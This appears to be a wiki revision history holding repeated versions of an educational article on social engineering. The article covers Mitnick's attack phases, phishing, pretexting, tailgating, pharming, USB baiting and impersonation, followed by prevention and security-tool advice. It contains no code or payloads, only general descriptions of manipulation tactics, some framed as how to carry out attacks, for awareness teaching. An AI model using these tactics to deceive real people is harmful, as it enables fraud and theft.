Overall, social media intelligence can be an important part of a company's market research and customer insights efforts, helping them to better understand and connect with their audience on social media. It can also be a useful way for companies to stay up-to-date on industry developments and emerging trends, and to identify opportunities for growth and innovation.<br />
<br />
== References ==<br />
<br />
* https://www.sciencedirect.com/science/article/abs/pii/S2214212614001343?via%3Dihub<br />
* https://link.springer.com/chapter/10.1007/978-3-642-22424-9_4<br />
* https://www.mdpi.com/1999-5903/11/4/89<br />
* https://www.researchgate.net/profile/Hugo-Barbosa/publication/315351300_SOCIAL_ENGINEERING_AND_CYBER_SECURITY/links/599c43430f7e9b892bafc0df/SOCIAL-ENGINEERING-AND-CYBER-SECURITY.pdf<br />
* https://cybernews.com/cyber-war/influencing-anonymous-experiment/<br />
*<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering&diff=14545Social Engineering2024-03-04T18:41:13Z<p>PKraubner: </p>
<hr />
<div>== Summary == <br />
This documentation contains information of what Social Engineering is, how it is getting used and how to prevent or mitigate some of those attacks. <br />
<br />
== Requirements ==<br />
In order to execute a social engineering attack you need to understand the basis of social engineering described below. There are also tools to understand and execute these attacks on a practical level. There are many pre-defined attacks which show how easy it is to perform such attacks. You can read more about that in [[Social Engineering Toolkit]]<br />
<br />
== Description ==<br />
Social engineering is a technique that involves using human interaction to gather information or influence a person to act in a certain way. It can involve spying on someone's personal life in order to achieve a specific goal, such as manipulating elections, obtaining information, or stealing money. The goal of social engineering is to guide a person towards a particular outcome, often by manipulating their thoughts or actions.<br />
<br />
=== Phases ===<br />
In Social Engineering there are a few necessary steps to complete an attack and gain the information you are after. Kevin Mitnick has divided the process into 4 steps with are mainly: '''Information Gathering''', '''Hook Relationship''', '''Exploitation and Execution''' and '''End without leaving a trace'''. <br />
<br />
<br />
[[File:01_mitnicks_attack_circle.png|thumb|none|300px|Source: Mouton, Social<br />
engineering attack framework]]<br />
<br />
==== Information Gathering ====<br />
Information gathering involves collecting as much information as possible about a potential victim in order to identify possible attack vectors. This may include identifying personal details, interests, or vulnerabilities that can be exploited. This information can be gathered through various means, such as social media, public records, or by directly interacting with the victim.<br />
<br />
==== Hook Relationship ====<br />
In order to build a "hook relationship" with the victim, the attacker will often try to present themselves as trustworthy in order to gain the victim's confidence and cooperation. This may involve pretending to be someone the victim knows, such as a colleague or friend, or posing as an authority figure in order to gain the victim's trust.<br />
<br />
==== Exploitation and Execution ====<br />
The exploitation and execution phase involves manipulating the victim in order to persuade them to take certain actions or disclose information that the attacker is seeking. This may involve using psychological manipulation or other tactics to influence the victim's behavior. The attacker may use a variety of tactics, such as flattery, fear, or pressure, in order to persuade the victim to comply with their requests.<br />
<br />
==== End without leaving a trace ====<br />
Once the attacker has achieved their goal, they will often try to cover their tracks and end the attack without leaving any evidence behind. This may involve deleting any records of the attack or disguising their involvement in order to avoid detection. In order to avoid being caught, the attacker may also take steps to destroy any evidence of the attack, such as wiping clean any devices or servers that were used in the attack.<br />
<br />
== Attacks ==<br />
This part contains the most common and basic attacks used today. Nearly everyone should have seen such an attack in practice, either by e.g. receiving a pishing email or getting a warning that pishing emails are circulating with an example. If you have not, just check you Spam or Junk folder in you mailbox you will probably find one in there. <br />
<br />
=== Phishing ===<br />
Phishing Attacks are one of the most common attacks. They are pretty simple and based on for example a real E-Mail that is being copied and used to get user data with links redirecting to a wrong website. This website looks than pretty similar to the original and if you do not look close enough you sometimes do not even realize that it is fake. The goal of this attack is in general to steal password from accounts and then try to steal money in any way possible. There are different types of phishing:<br />
* Spear phishing: Are attacks on specific people or groups, for this you need to know about the person/company beforehand. Since it is very personal, it is also often very successful in contrast to other Social Engineering approaches. <br />
* Whaling: Similar to spear-phishing, except that high-profile individuals are targeted.<br />
* Vishing: These phishing attacks are carried out over the phone.<br />
* Smishing: The attacks are carried out over text messages.<br />
* Interactive voice-response phishing: Interactive voice response system is used. <br />
* Business email compromise phishing: : It is similar to whaling, the attacker wants access to business mails and then sends legitimate looking business mails to get ”normal” employees to click some link or something.<br />
<br />
<br />
=== Pretexting ===<br />
This attack is similar to Phishing but the goal of this attack is to make you believe that you are being contacted by someone close or authoritative. These messages could lead you to send personal information to the attacker. If done right and other conversation were being caputred before and the phone number or E-Mail got spoofed you sometimes would not even realize that it is a fake. <br />
<br />
=== Tailgaiting ===<br />
Tailgaiting is an attack that requires physical access to a secure building. This is achieved by following people through doors or opening you the door by thinking you lost your access card. When done right you get access to a certain level where you could install malware on others PCs. Another ways would be to ask someone for their phone to make a call and then install malware when they are not watching. <br />
<br />
=== Ransomware ===<br />
[[Ransomware]] is a type of malicious software that encrypts a victim's personal data and demands a ransom from the victim to restore access to the data. These attacks have been increasing in popularity and are becoming more and more difficult to stop. Some well-known examples of [[Ransomware]] include WannaCry (2017) and Locky (2016). One of the dangers of ransomware is that even if the victim pays the ransom, there is no guarantee that they will actually get their data back.<br />
<br />
=== Dumpster Diving ===<br />
This technique is as the name already tells used to get information out of the trash of others. A letter with sensitive infomation e.g. bank, creditcard or hard drives can contain a lot of data that can be used against you if not disposed properly. A good tip would be throw away pieces of information in different trash cans for example when on the way to work. <br />
<br />
=== Pop-Up Window ===<br />
Pop-Up Windows are often used to scare non enlightened people to get tricked by a simple window mostly in a browser. This scam either wants you to redeem the jackpot you just won or tell you that you computer is infected and you should call the attacker to infect you with malware. Most of the times these windows are hard to close and are pretty loud to intimiated the victim. <br />
<br />
=== Pharming ===<br />
This approach is similar to the goal of Pishing but is done quite differently. The task is to lure the vicitm on to a similar looking website e.g. bank, insurance, ... but it is not done with sending you fake links but rather hacking the DNS Server and redirecting you instantly without you even knowing. If the website is done very well your data is being apprehend and afterwards you are getting redirect onto your real bank account without you ever knowing. <br />
<br />
=== Baiting/USB Drop ===<br />
Another bait attack involves the use of dropped USB drives. The attacker will leave a USB drive in a public place, such as a parking lot or lobby, with a label or message that suggests it contains something interesting or valuable. When someone picks up the drive and plugs it into their computer, they may be exposing their system to malware or ransomware.<br />
<br />
=== Eavesdropping ===<br />
Eavesdropping is the act of secretly listening to the private conversations of others without their knowledge. It can be done in a variety of ways, such as through the use of hidden microphones, wiretapping, or simply by listening in on a conversation that is happening nearby. Eavesdropping can be a serious invasion of privacy and is often illegal, particularly if it is done for malicious purposes such as to gather personal or sensitive information. In the digital age, eavesdropping can also be done remotely through the use of malware or other cyber threats that allow an attacker to access and monitor the conversations of their victims.<br />
<br />
=== Reverse Social Engineering ===<br />
One common technique used in reverse social engineering attacks is for the attacker to pretend to be a good guy or authority figure in order to gain the victim's trust. For example, the attacker might pretend to be a technical support representative and ask the victim for their login credentials in order to "fix" a problem with their computer. Or, the attacker might pose as a law enforcement officer and request that the victim provide sensitive information in order to "assist with an investigation." In these cases, the victim may feel pressure to comply with the request, believing that they are helping to solve a problem or protect against a threat.<br />
<br />
=== Impersonating ===<br />
Impersonating is the act of pretending to be someone else, either in person or online, in order to deceive others. This can be done for a variety of reasons, such as to gain access to sensitive information or resources, to evade detection or consequences, or to commit a crime. In the digital world, impersonation is often done through the use of fake profiles or websites that mimic legitimate ones in order to trick people into divulging personal information or money. In person, impersonation can be more complex and may involve the use of props, costumes, and other means of disguising one's true identity.<br />
<br />
== Prevention ==<br />
As attacks increase and improve it is very hard to defend against those if you do not know how they work and what they do. To prevent or mitigate such attacks you need 3 important informations.<br />
<br />
=== Clarify Attacks ===<br />
The first part help you to understand how and what these attacks are trying to do. If you know what a Pop-Up Window is and you now know that these messages are spam and trying to lure you into a trap you will not fall for it anymore. The best way is know examples of the most common attacks to obtainer awareness againts those social engineering attacks. Since these attacks improve over time you should be up-to-date and you should ask people you trust for help if you do not know how to proceed. <br />
<br />
=== Education and Training ===<br />
To ensure the safety and security of your employees, it is important to provide regular training sessions to keep them informed on best practices and current threats. They should be cautious when receiving phone calls or emails from unknown sources, and verify the identity of the sender before disclosing any confidential information. They should also be wary of suspicious links or attachments, and avoid downloading unknown files. To further protect against potential threats, it is advisable to implement multifactor authentication and regularly update antivirus and antimalware programs. Additionally, it is important to carefully examine the references of any offers or requests for sensitive data.<br />
<br />
=== Set Security Standards ===<br />
You should start setting yourself a certain security standard. This goes from checking certain programs or files you do not know to check links before you click them. If you have a new contact in your mailbox you should double check the sender to know for you sure you are not dealing with a scam artist. You should also never share you PC with other or plug-in strange devices you do not know. An increased awareness about pishing emails from providers would be appreciative to check bills if they are not infected with malware. <br />
<br />
=== Implement Security Tools ===<br />
Since detecting malware is getting more difficult everytime you should start using certain tools to help you secure you environment. To protect against more advanced attacks, it is recommended that companies use Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS), which can detect and respond to attacks in real-time. In addition to a firewall, companies can also use Virtual Private Networks (VPNs) to secure their internet connection. Anti-phishing tools can help to block and blacklist phishing websites, and companies can also consider using honeypot emails as a way to lure and track attackers. It is also important to implement physical security measures, such as properly securing hardware and following guidelines for physical access to facilities. These tools will help you to detect unwanted programs and helps you safeing your data externally. <br />
<br />
* Anti Virus Software: [https://www.malwarebytes.com/ Malwarebytes]<br />
* Browser Anti-Ad/Spam Plugin: [https://ublockorigin.com/ uBlock Origin]<br />
* Check E-Mail periodically: [https://haveibeenpwned.com/ HaveIBeenPwned]<br />
* Safe File externally: [https://nextcloud.com/ Nextcloud]<br />
* Check Programs: [https://www.virustotal.com/ Virustotal]<br />
* Password Manager: [https://keepassxc.org/ KeepassXC]<br />
<br />
== Social Media Intelligence ==<br />
<br />
Social media intelligence (SOCMINT) is a process that involves gathering and analyzing data from social media platforms in order to inform business decisions. This type of intelligence can be used to track brand mentions and sentiment, monitor competitors, and identify emerging trends or opportunities for engagement.<br />
<br />
By collecting and analyzing social media data, companies can gain valuable insights into the perceptions and behaviors of their customers and target audience. This can inform marketing strategies, customer service efforts, and product development. For example, a company might use social media intelligence to identify common customer pain points and develop solutions to address them, or to identify influencers to partner with in order to promote their brand.<br />
<br />
There are a number of tools and platforms available to help companies automate the process of gathering and analyzing social media data. These tools often include features such as keyword tracking, sentiment analysis, and competitor analysis.<br />
<br />
Overall, social media intelligence can be an important part of a company's market research and customer insights efforts, helping them to better understand and connect with their audience on social media. It can also be a useful way for companies to stay up-to-date on industry developments and emerging trends, and to identify opportunities for growth and innovation.<br />
<br />
== References ==<br />
<br />
* https://www.sciencedirect.com/science/article/abs/pii/S2214212614001343?via%3Dihub<br />
* https://link.springer.com/chapter/10.1007/978-3-642-22424-9_4<br />
* https://www.mdpi.com/1999-5903/11/4/89<br />
* https://www.researchgate.net/profile/Hugo-Barbosa/publication/315351300_SOCIAL_ENGINEERING_AND_CYBER_SECURITY/links/599c43430f7e9b892bafc0df/SOCIAL-ENGINEERING-AND-CYBER-SECURITY.pdf<br />
* https://cybernews.com/cyber-war/influencing-anonymous-experiment/<br />
*<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering&diff=14542Social Engineering2024-03-04T18:29:18Z<p>PKraubner: typo</p>
<hr />
<div>== Summary == <br />
This documentation contains information of what Social Engineering is, how it is getting used and how to prevent or mitigate some of those attacks. <br />
<br />
== Requirements ==<br />
In order to execute a social engineering attack you need to understand the basis of social engineering described below. There are also tools to understand and execute these attacks on a practical level. There are many pre-defined attacks which show how easy it is to perform such attacks. You can read more about that in [[Social Engineering Toolkit]]<br />
<br />
== Description ==<br />
Social engineering is a technique that involves using human interaction to gather information or influence a person to act in a certain way. It can involve spying on someone's personal life in order to achieve a specific goal, such as manipulating elections, obtaining information, or stealing money. The goal of social engineering is to guide a person towards a particular outcome, often by manipulating their thoughts or actions.<br />
<br />
=== Phases ===<br />
In Social Engineering there are a few necessary steps to complete an attack and gain the information you are after. Kevin Mitnick has divided the process into 4 steps with are mainly: '''Information Gathering''', '''Hook Relationship''', '''Exploitation and Execution''' and '''End without leaving a trace'''. <br />
<br />
<br />
[[File:01_mitnicks_attack_circle.png|thumb|none|300px|Source: Mouton, Social<br />
engineering attack framework]]<br />
<br />
==== Information Gathering ====<br />
Information gathering involves collecting as much information as possible about a potential victim in order to identify possible attack vectors. This may include identifying personal details, interests, or vulnerabilities that can be exploited. This information can be gathered through various means, such as social media, public records, or by directly interacting with the victim.<br />
<br />
==== Hook Relationship ====<br />
In order to build a "hook relationship" with the victim, the attacker will often try to present themselves as trustworthy in order to gain the victim's confidence and cooperation. This may involve pretending to be someone the victim knows, such as a colleague or friend, or posing as an authority figure in order to gain the victim's trust.<br />
<br />
==== Exploitation and Execution ====<br />
The exploitation and execution phase involves manipulating the victim in order to persuade them to take certain actions or disclose information that the attacker is seeking. This may involve using psychological manipulation or other tactics to influence the victim's behavior. The attacker may use a variety of tactics, such as flattery, fear, or pressure, in order to persuade the victim to comply with their requests.<br />
<br />
==== End without leaving a trace ====<br />
Once the attacker has achieved their goal, they will often try to cover their tracks and end the attack without leaving any evidence behind. This may involve deleting any records of the attack or disguising their involvement in order to avoid detection. In order to avoid being caught, the attacker may also take steps to destroy any evidence of the attack, such as wiping clean any devices or servers that were used in the attack.<br />
<br />
== Attacks ==<br />
This part contains the most common and basic attacks used today. Nearly everyone should have seen such an attack in practice, either by e.g. receiving a pishing email or getting a warning that pishing emails are circulating with an example. If you have not, just check you Spam or Junk folder in you mailbox you will probably find one in there. <br />
<br />
=== Phishing ===<br />
Phishing Attacks are one of the most common attacks. They are pretty simple and based on for example a real E-Mail that is being copied and used to get user data with links redirecting to a wrong website. This website looks than pretty similar to the original and if you do not look close enough you sometimes do not even realize that it is fake. The goal of this attack is in general to steal password from accounts and then try to steal money in any way possible. There are different types of phishing:<br />
* Spear phishing: Are attacks on specific people or groups, for this you need to know about the person/company beforehand. Since it is very personal, it is also often very successful in contrast to other Social Engineering approaches. <br />
* Whaling: Similar to spear-phishing, except that high-profile individuals are targeted.<br />
* Vishing:These phishing attacks are carried out over the phone.<br />
* Smishing: The attacks are carried out over text messages.<br />
* Interactive voice-response phishing: Interactive voice response system is used. <br />
* Business email compromise phishing: : It is similar to whaling, the attacker wants access to business mails and then sends legitimate looking business mails to get ”normal” employees to click some link or something.<br />
<br />
=== Pretexting ===<br />
This attack is similar to Phishing but the goal of this attack is to make you believe that you are being contacted by someone close or authoritative. These messages could lead you to send personal information to the attacker. If done right and other conversation were being caputred before and the phone number or E-Mail got spoofed you sometimes would not even realize that it is a fake. <br />
<br />
=== Tailgaiting ===<br />
Tailgaiting is an attack that requires physical access to a secure building. This is achieved by following people through doors or opening you the door by thinking you lost your access card. When done right you get access to a certain level where you could install malware on others PCs. Another ways would be to ask someone for their phone to make a call and then install malware when they are not watching. <br />
<br />
=== Ransomware ===<br />
[[Ransomware]] is a type of malicious software that encrypts a victim's personal data and demands a ransom from the victim to restore access to the data. These attacks have been increasing in popularity and are becoming more and more difficult to stop. Some well-known examples of [[Ransomware]] include WannaCry (2017) and Locky (2016). One of the dangers of ransomware is that even if the victim pays the ransom, there is no guarantee that they will actually get their data back.<br />
<br />
=== Dumpster Diving ===<br />
This technique is as the name already tells used to get information out of the trash of others. A letter with sensitive infomation e.g. bank, creditcard or hard drives can contain a lot of data that can be used against you if not disposed properly. A good tip would be throw away pieces of information in different trash cans for example when on the way to work. <br />
<br />
=== Pop-Up Window ===<br />
Pop-Up Windows are often used to scare non enlightened people to get tricked by a simple window mostly in a browser. This scam either wants you to redeem the jackpot you just won or tell you that you computer is infected and you should call the attacker to infect you with malware. Most of the times these windows are hard to close and are pretty loud to intimiated the victim. <br />
<br />
=== Pharming ===<br />
This approach is similar to the goal of Pishing but is done quite differently. The task is to lure the vicitm on to a similar looking website e.g. bank, insurance, ... but it is not done with sending you fake links but rather hacking the DNS Server and redirecting you instantly without you even knowing. If the website is done very well your data is being apprehend and afterwards you are getting redirect onto your real bank account without you ever knowing. <br />
<br />
=== Baiting/USB Drop ===<br />
Another bait attack involves the use of dropped USB drives. The attacker will leave a USB drive in a public place, such as a parking lot or lobby, with a label or message that suggests it contains something interesting or valuable. When someone picks up the drive and plugs it into their computer, they may be exposing their system to malware or ransomware.<br />
<br />
=== Eavesdropping ===<br />
Eavesdropping is the act of secretly listening to the private conversations of others without their knowledge. It can be done in a variety of ways, such as through the use of hidden microphones, wiretapping, or simply by listening in on a conversation that is happening nearby. Eavesdropping can be a serious invasion of privacy and is often illegal, particularly if it is done for malicious purposes such as to gather personal or sensitive information. In the digital age, eavesdropping can also be done remotely through the use of malware or other cyber threats that allow an attacker to access and monitor the conversations of their victims.<br />
<br />
=== Reverse Social Engineering ===<br />
One common technique used in reverse social engineering attacks is for the attacker to pretend to be a good guy or authority figure in order to gain the victim's trust. For example, the attacker might pretend to be a technical support representative and ask the victim for their login credentials in order to "fix" a problem with their computer. Or, the attacker might pose as a law enforcement officer and request that the victim provide sensitive information in order to "assist with an investigation." In these cases, the victim may feel pressure to comply with the request, believing that they are helping to solve a problem or protect against a threat.<br />
<br />
=== Impersonating ===<br />
Impersonating is the act of pretending to be someone else, either in person or online, in order to deceive others. This can be done for a variety of reasons, such as to gain access to sensitive information or resources, to evade detection or consequences, or to commit a crime. In the digital world, impersonation is often done through the use of fake profiles or websites that mimic legitimate ones in order to trick people into divulging personal information or money. In person, impersonation can be more complex and may involve the use of props, costumes, and other means of disguising one's true identity.<br />
<br />
== Prevention ==<br />
As attacks increase and improve it is very hard to defend against those if you do not know how they work and what they do. To prevent or mitigate such attacks you need 3 important informations.<br />
<br />
=== Clarify Attacks ===<br />
The first part help you to understand how and what these attacks are trying to do. If you know what a Pop-Up Window is and you now know that these messages are spam and trying to lure you into a trap you will not fall for it anymore. The best way is know examples of the most common attacks to obtainer awareness againts those social engineering attacks. Since these attacks improve over time you should be up-to-date and you should ask people you trust for help if you do not know how to proceed. <br />
<br />
=== Education and Training ===<br />
To ensure the safety and security of your employees, it is important to provide regular training sessions to keep them informed on best practices and current threats. They should be cautious when receiving phone calls or emails from unknown sources, and verify the identity of the sender before disclosing any confidential information. They should also be wary of suspicious links or attachments, and avoid downloading unknown files. To further protect against potential threats, it is advisable to implement multifactor authentication and regularly update antivirus and antimalware programs. Additionally, it is important to carefully examine the references of any offers or requests for sensitive data.<br />
<br />
=== Set Security Standards ===<br />
You should start setting yourself a certain security standard. This goes from checking certain programs or files you do not know to check links before you click them. If you have a new contact in your mailbox you should double check the sender to know for you sure you are not dealing with a scam artist. You should also never share you PC with other or plug-in strange devices you do not know. An increased awareness about pishing emails from providers would be appreciative to check bills if they are not infected with malware. <br />
<br />
=== Implement Security Tools ===<br />
Since detecting malware is getting more difficult everytime you should start using certain tools to help you secure you environment. To protect against more advanced attacks, it is recommended that companies use Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS), which can detect and respond to attacks in real-time. In addition to a firewall, companies can also use Virtual Private Networks (VPNs) to secure their internet connection. Anti-phishing tools can help to block and blacklist phishing websites, and companies can also consider using honeypot emails as a way to lure and track attackers. It is also important to implement physical security measures, such as properly securing hardware and following guidelines for physical access to facilities. These tools will help you to detect unwanted programs and helps you safeing your data externally. <br />
<br />
* Anti Virus Software: [https://www.malwarebytes.com/ Malwarebytes]<br />
* Browser Anti-Ad/Spam Plugin: [https://ublockorigin.com/ uBlock Origin]<br />
* Check E-Mail periodically: [https://haveibeenpwned.com/ HaveIBeenPwned]<br />
* Safe File externally: [https://nextcloud.com/ Nextcloud]<br />
* Check Programs: [https://www.virustotal.com/ Virustotal]<br />
* Password Manager: [https://keepassxc.org/ KeepassXC]<br />
<br />
== Social Media Intelligence ==<br />
<br />
Social media intelligence (SOCMINT) is a process that involves gathering and analyzing data from social media platforms in order to inform business decisions. This type of intelligence can be used to track brand mentions and sentiment, monitor competitors, and identify emerging trends or opportunities for engagement.<br />
<br />
By collecting and analyzing social media data, companies can gain valuable insights into the perceptions and behaviors of their customers and target audience. This can inform marketing strategies, customer service efforts, and product development. For example, a company might use social media intelligence to identify common customer pain points and develop solutions to address them, or to identify influencers to partner with in order to promote their brand.<br />
<br />
There are a number of tools and platforms available to help companies automate the process of gathering and analyzing social media data. These tools often include features such as keyword tracking, sentiment analysis, and competitor analysis.<br />
<br />
Overall, social media intelligence can be an important part of a company's market research and customer insights efforts, helping them to better understand and connect with their audience on social media. It can also be a useful way for companies to stay up-to-date on industry developments and emerging trends, and to identify opportunities for growth and innovation.<br />
<br />
== References ==<br />
<br />
* https://www.sciencedirect.com/science/article/abs/pii/S2214212614001343?via%3Dihub<br />
* https://link.springer.com/chapter/10.1007/978-3-642-22424-9_4<br />
* https://www.mdpi.com/1999-5903/11/4/89<br />
* https://www.researchgate.net/profile/Hugo-Barbosa/publication/315351300_SOCIAL_ENGINEERING_AND_CYBER_SECURITY/links/599c43430f7e9b892bafc0df/SOCIAL-ENGINEERING-AND-CYBER-SECURITY.pdf<br />
* https://cybernews.com/cyber-war/influencing-anonymous-experiment/<br />
*<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering&diff=14540Social Engineering2024-03-04T18:28:54Z<p>PKraubner: checked references, some typo fixes, added picture of attack cycle, added some more information and references</p>
<hr />
<div>== Summary == <br />
This documentation contains information of what Social Engineering is, how it is getting used and how to prevent or mitigate some of those attacks. <br />
<br />
== Requirements ==<br />
In order to execute a social engineering attack you need to understand the basis of social engineering described below. There are also tools to understand and execute these attacks on a practical level. There are many pre-defined attacks which show how easy it is to perform such attacks. You can read more about that in [[Social Engineering Toolkit]]<br />
<br />
== Description ==<br />
Social engineering is a technique that involves using human interaction to gather information or influence a person to act in a certain way. It can involve spying on someone's personal life in order to achieve a specific goal, such as manipulating elections, obtaining information, or stealing money. The goal of social engineering is to guide a person towards a particular outcome, often by manipulating their thoughts or actions.<br />
<br />
=== Phases ===<br />
In Social Engineering there are a few necessary steps to complete an attack and gain the information you are after. Kevin Mitnick has divided the process into 4 steps with are mainly: '''Information Gathering''', '''Hook Relationship''', '''Exploitation and Execution''' and '''End without leaving a trace'''. <br />
<br />
<br />
[[File:File:01_mitnicks_attack_circle.png|thumb|none|300px|Source: Mouton, Social<br />
engineering attack framework]]<br />
<br />
==== Information Gathering ====<br />
Information gathering involves collecting as much information as possible about a potential victim in order to identify possible attack vectors. This may include identifying personal details, interests, or vulnerabilities that can be exploited. This information can be gathered through various means, such as social media, public records, or by directly interacting with the victim.<br />
<br />
==== Hook Relationship ====<br />
In order to build a "hook relationship" with the victim, the attacker will often try to present themselves as trustworthy in order to gain the victim's confidence and cooperation. This may involve pretending to be someone the victim knows, such as a colleague or friend, or posing as an authority figure in order to gain the victim's trust.<br />
<br />
==== Exploitation and Execution ====<br />
The exploitation and execution phase involves manipulating the victim in order to persuade them to take certain actions or disclose information that the attacker is seeking. This may involve using psychological manipulation or other tactics to influence the victim's behavior. The attacker may use a variety of tactics, such as flattery, fear, or pressure, in order to persuade the victim to comply with their requests.<br />
<br />
==== End without leaving a trace ====<br />
Once the attacker has achieved their goal, they will often try to cover their tracks and end the attack without leaving any evidence behind. This may involve deleting any records of the attack or disguising their involvement in order to avoid detection. In order to avoid being caught, the attacker may also take steps to destroy any evidence of the attack, such as wiping clean any devices or servers that were used in the attack.<br />
<br />
== Attacks ==<br />
This part contains the most common and basic attacks used today. Nearly everyone should have seen such an attack in practice, either by e.g. receiving a pishing email or getting a warning that pishing emails are circulating with an example. If you have not, just check you Spam or Junk folder in you mailbox you will probably find one in there. <br />
<br />
=== Phishing ===<br />
Phishing Attacks are one of the most common attacks. They are pretty simple and based on for example a real E-Mail that is being copied and used to get user data with links redirecting to a wrong website. This website looks than pretty similar to the original and if you do not look close enough you sometimes do not even realize that it is fake. The goal of this attack is in general to steal password from accounts and then try to steal money in any way possible. There are different types of phishing:<br />
* Spear phishing: Are attacks on specific people or groups, for this you need to know about the person/company beforehand. Since it is very personal, it is also often very successful in contrast to other Social Engineering approaches. <br />
* Whaling: Similar to spear-phishing, except that high-profile individuals are targeted.<br />
* Vishing:These phishing attacks are carried out over the phone.<br />
* Smishing: The attacks are carried out over text messages.<br />
* Interactive voice-response phishing: Interactive voice response system is used. <br />
* Business email compromise phishing: : It is similar to whaling, the attacker wants access to business mails and then sends legitimate looking business mails to get ”normal” employees to click some link or something.<br />
<br />
=== Pretexting ===<br />
This attack is similar to Phishing but the goal of this attack is to make you believe that you are being contacted by someone close or authoritative. These messages could lead you to send personal information to the attacker. If done right and other conversation were being caputred before and the phone number or E-Mail got spoofed you sometimes would not even realize that it is a fake. <br />
<br />
=== Tailgaiting ===<br />
Tailgaiting is an attack that requires physical access to a secure building. This is achieved by following people through doors or opening you the door by thinking you lost your access card. When done right you get access to a certain level where you could install malware on others PCs. Another ways would be to ask someone for their phone to make a call and then install malware when they are not watching. <br />
<br />
=== Ransomware ===<br />
[[Ransomware]] is a type of malicious software that encrypts a victim's personal data and demands a ransom from the victim to restore access to the data. These attacks have been increasing in popularity and are becoming more and more difficult to stop. Some well-known examples of [[Ransomware]] include WannaCry (2017) and Locky (2016). One of the dangers of ransomware is that even if the victim pays the ransom, there is no guarantee that they will actually get their data back.<br />
<br />
=== Dumpster Diving ===<br />
This technique is as the name already tells used to get information out of the trash of others. A letter with sensitive infomation e.g. bank, creditcard or hard drives can contain a lot of data that can be used against you if not disposed properly. A good tip would be throw away pieces of information in different trash cans for example when on the way to work. <br />
<br />
=== Pop-Up Window ===<br />
Pop-Up Windows are often used to scare non enlightened people to get tricked by a simple window mostly in a browser. This scam either wants you to redeem the jackpot you just won or tell you that you computer is infected and you should call the attacker to infect you with malware. Most of the times these windows are hard to close and are pretty loud to intimiated the victim. <br />
<br />
=== Pharming ===<br />
This approach is similar to the goal of Pishing but is done quite differently. The task is to lure the vicitm on to a similar looking website e.g. bank, insurance, ... but it is not done with sending you fake links but rather hacking the DNS Server and redirecting you instantly without you even knowing. If the website is done very well your data is being apprehend and afterwards you are getting redirect onto your real bank account without you ever knowing. <br />
<br />
=== Baiting/USB Drop ===<br />
Another bait attack involves the use of dropped USB drives. The attacker will leave a USB drive in a public place, such as a parking lot or lobby, with a label or message that suggests it contains something interesting or valuable. When someone picks up the drive and plugs it into their computer, they may be exposing their system to malware or ransomware.<br />
<br />
=== Eavesdropping ===<br />
Eavesdropping is the act of secretly listening to the private conversations of others without their knowledge. It can be done in a variety of ways, such as through the use of hidden microphones, wiretapping, or simply by listening in on a conversation that is happening nearby. Eavesdropping can be a serious invasion of privacy and is often illegal, particularly if it is done for malicious purposes such as to gather personal or sensitive information. In the digital age, eavesdropping can also be done remotely through the use of malware or other cyber threats that allow an attacker to access and monitor the conversations of their victims.<br />
<br />
=== Reverse Social Engineering ===<br />
One common technique used in reverse social engineering attacks is for the attacker to pretend to be a good guy or authority figure in order to gain the victim's trust. For example, the attacker might pretend to be a technical support representative and ask the victim for their login credentials in order to "fix" a problem with their computer. Or, the attacker might pose as a law enforcement officer and request that the victim provide sensitive information in order to "assist with an investigation." In these cases, the victim may feel pressure to comply with the request, believing that they are helping to solve a problem or protect against a threat.<br />
<br />
=== Impersonating ===<br />
Impersonating is the act of pretending to be someone else, either in person or online, in order to deceive others. This can be done for a variety of reasons, such as to gain access to sensitive information or resources, to evade detection or consequences, or to commit a crime. In the digital world, impersonation is often done through the use of fake profiles or websites that mimic legitimate ones in order to trick people into divulging personal information or money. In person, impersonation can be more complex and may involve the use of props, costumes, and other means of disguising one's true identity.<br />
<br />
== Prevention ==<br />
As attacks increase and improve it is very hard to defend against those if you do not know how they work and what they do. To prevent or mitigate such attacks you need 3 important informations.<br />
<br />
=== Clarify Attacks ===<br />
The first part help you to understand how and what these attacks are trying to do. If you know what a Pop-Up Window is and you now know that these messages are spam and trying to lure you into a trap you will not fall for it anymore. The best way is know examples of the most common attacks to obtainer awareness againts those social engineering attacks. Since these attacks improve over time you should be up-to-date and you should ask people you trust for help if you do not know how to proceed. <br />
<br />
=== Education and Training ===<br />
To ensure the safety and security of your employees, it is important to provide regular training sessions to keep them informed on best practices and current threats. They should be cautious when receiving phone calls or emails from unknown sources, and verify the identity of the sender before disclosing any confidential information. They should also be wary of suspicious links or attachments, and avoid downloading unknown files. To further protect against potential threats, it is advisable to implement multifactor authentication and regularly update antivirus and antimalware programs. Additionally, it is important to carefully examine the references of any offers or requests for sensitive data.<br />
<br />
=== Set Security Standards ===<br />
You should start setting yourself a certain security standard. This goes from checking certain programs or files you do not know to check links before you click them. If you have a new contact in your mailbox you should double check the sender to know for you sure you are not dealing with a scam artist. You should also never share you PC with other or plug-in strange devices you do not know. An increased awareness about pishing emails from providers would be appreciative to check bills if they are not infected with malware. <br />
<br />
=== Implement Security Tools ===<br />
Since detecting malware is getting more difficult everytime you should start using certain tools to help you secure you environment. To protect against more advanced attacks, it is recommended that companies use Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS), which can detect and respond to attacks in real-time. In addition to a firewall, companies can also use Virtual Private Networks (VPNs) to secure their internet connection. Anti-phishing tools can help to block and blacklist phishing websites, and companies can also consider using honeypot emails as a way to lure and track attackers. It is also important to implement physical security measures, such as properly securing hardware and following guidelines for physical access to facilities. These tools will help you to detect unwanted programs and helps you safeing your data externally. <br />
<br />
* Anti Virus Software: [https://www.malwarebytes.com/ Malwarebytes]<br />
* Browser Anti-Ad/Spam Plugin: [https://ublockorigin.com/ uBlock Origin]<br />
* Check E-Mail periodically: [https://haveibeenpwned.com/ HaveIBeenPwned]<br />
* Safe File externally: [https://nextcloud.com/ Nextcloud]<br />
* Check Programs: [https://www.virustotal.com/ Virustotal]<br />
* Password Manager: [https://keepassxc.org/ KeepassXC]<br />
<br />
== Social Media Intelligence ==<br />
<br />
Social media intelligence (SOCMINT) is a process that involves gathering and analyzing data from social media platforms in order to inform business decisions. This type of intelligence can be used to track brand mentions and sentiment, monitor competitors, and identify emerging trends or opportunities for engagement.<br />
<br />
